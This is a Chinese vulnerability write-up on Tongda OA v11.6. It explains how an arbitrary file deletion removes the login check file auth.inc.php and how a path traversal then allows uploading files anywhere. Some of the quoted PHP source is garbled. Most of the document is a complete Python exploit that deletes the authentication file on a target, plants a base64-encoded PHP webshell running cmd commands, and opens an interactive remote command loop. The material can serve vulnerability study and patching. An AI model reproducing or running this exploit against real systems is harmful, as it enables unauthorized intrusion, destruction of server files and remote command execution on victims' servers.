通达OA v11.6 任意文件删除&RCE

# 通达OA v11.6 任意文件删除&RCE

## 漏洞描述

通过任意文件漏洞删除上传点包含的身份验证文件，从而造成未授权访问实现任意文件上传

## 漏洞影响

> [!NOTE]
>
> 通达OA v11.6

## 环境搭建

[通达OA v11.6下载链接](https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe)

下载完毕点击安装即可

## 漏洞复现

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密

> [!NOTE]
>
> 解密工具已经放在目录下的POC目录中

解密完成后查看 **webroot\general\data_center\utils\upload.php** 文件

“`php
\r\n\r\n“;

?>

“`

在第一行包含了文件 **auth.inc.php**

“`php
include_once “inc/auth.inc.php”;
“`

可以看到这个文件用于检验是否登录，未登录的情况无法利用这个漏洞

查看 **\webroot\module\appbuilder\assets\print.php**文件

“`php

判断变量 **$action** 是否为 upload，再判断文件类型，如果不为 xls 和 img 则进入else分支

“`php
else {
$uploaddir = MYOA_ATTACH_PATH . “/data_center/attachment/”;

if (!is_dir(MYOA_ATTACH_PATH . “/data_center/attachment”)) {
if (!is_dir(MYOA_ATTACH_PATH . “/data_center”)) {
mkdir(MYOA_ATTACH_PATH . “/data_center”);
}

mkdir(MYOA_ATTACH_PATH . “/data_center/attachment”);
}

if (isset($from_rep)) {
if (($from_rep != “”) && ($from_rep[0] == “{“)) {
$repkid = GetRepKIDBySendId($from_rep);

if ($repkid != $to_rep) {
if (file_exists($uploaddir . “/” . $repkid . “_” . $filename)) {
copy($uploaddir . “/” . $repkid . “_” . $filename, $uploaddir . “/” . $to_rep . “_” . $filename);
}
}
}
else {
$arr = explode(“,”, $from_rep);

for ($i = 0; $i < count($arr); $i++) { $p = strpos($arr[$i], "."); $repno = substr($arr[$i], 0, $p); $repkid = GetRepKIDByNo($repno); if ($repkid != $to_rep) { if (file_exists($uploaddir . "/" . $repkid . "_" . $filename)) { copy($uploaddir . "/" . $repkid . "_" . $filename, $uploaddir . "/" . $to_rep . "_" . $filename); break; } } } } } else { $s_n = $_FILES["FILE1"]["name"]; if ($s_n[0] != "{") { $s_n = $repkid . "_" . $s_n; } if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) { } } } @unlink($_FILES["FILE1"]); } ``` 在这段代码中，如果不存在 **$from_rep** 变量则会跳到如下代码 ```php else { $s_n = $_FILES["FILE1"]["name"]; if ($s_n[0] != "{") { $s_n = $repkid . "_" . $s_n; } if (move_uploaded_file($_FILES["FILE1"]["tmp_name"], $uploaddir . $s_n)) { } } ``` 这里直接将 **$repkid** 变量进行拼接,也就是说可以通过目录穿越来上传恶意文件到指定目录 > [!NOTE]
>
> 这里需要利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来

使用POC来利用漏洞

> [!NOTE]
>
> 注意在删除验证身份的文件后，会造成后台页面出现如下图，使用前备份文件

## 漏洞利用POC

“`python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech

import requests
import re
import base64
import sys

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mVersion: 通达OA v11.6 任意文件删除&RCE \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mCmd >>> whoami \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
check_url = target_url + “/module/appbuilder/assets/print.php”
try:
check_url_response = requests.get(url = check_url)
if check_url_response.status_code == 200:
print(“\033[32m[o] 存在 /module/appbuilder/assets/print.php 可能含有通达OA v11.6 任意文件删除&RCE漏洞\033[0m”)
input(“\033[32m[o] 此漏洞会对真实环境造成影响，请在授权的情况下利用此漏洞，按下任意键继续….. \033[0m”)
else:
print(“\033[31m[x] 不存在 /module/appbuilder/assets/print.php 漏洞利用失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败，{} \033[0m”.format(e))
sys.exit(0)

def POC_2(target_url):
unlink_url = target_url + “/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php”
try:
unlink_response = requests.get(url = unlink_url)
if unlink_response.status_code == 200:
print(“\033[32m[o] 成功删除校验文件 auth.inc.php \033[0m”)
else:
print(“\033[31m[x] 删除校验文件 auth.inc.php 失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败，{} \033[0m”.format(e))
sys.exit(0)

def POC_3(target_url, payload_php):
“””
(绕过的webshell)
exec(“cmd /c “.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
“””
vuln_url = target_url + “/general/data_center/utils/upload.php?action=upload&filetype=test&repkid=/.<>./.<>./.<>./”
files = {‘FILE1’: (‘test.php’, payload_php)}
try:
vuln_response = requests.post(url = vuln_url,files=files)
if vuln_response.status_code == 200:
print(“\033[32m[o] 成功写入webshell文件: _test.php \033[0m”)
print(“\033[32m[o] webshell地址为: {}/_test.php \033[0m”.format(target_url))
else:
print(“\033[31m[x] 写入webshell文件失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败，{} \033[0m”.format(e))
sys.exit(0)

def POC_4(target_url, cmd):
cmd_url = target_url + “/_test.php?test={}”.format(cmd)
try:
cmd_response = requests.get(url = cmd_url)
if cmd_response.status_code == 200:
print(“\033[32m[o] 正在执行命令: {} \033[0m”.format(cmd_url))
print(“\033[32m[o] 响应为: \n{} \033[0m”.format(cmd_response.text))
else:
print(“\033[31m[x] 命令执行失败 \033[0m”)
sys.exit(0)
except Exception as e:
print(“\033[31m[x] 请求失败，{} \033[0m”.format(e))
sys.exit(0)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
POC_2(target_url)
payload_php = base64.b64decode(“PD9waHAKICAgICRjb21tYW5kPSRfR0VUWyd0ZXN0J107CiAgICAkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgJGV4ZWMgPSAkd3NoLT5leGVjKCJjbWQgL2MgIi4kY29tbWFuZCk7CiAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKICAgIGVjaG8gJHN0cm91dHB1dDsKPz4=”).decode(“utf-8”)
POC_3(target_url, payload_php)

while True:
cmd = input(“\033[35mCmd >>> \033[0m”)
if cmd == “exit”:
sys.exit(0)
else:
POC_4(target_url, cmd)

“`